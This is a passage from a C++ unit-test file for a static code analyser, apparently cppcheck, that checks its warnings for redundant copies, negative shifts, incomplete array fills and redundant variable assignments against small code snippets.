ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n 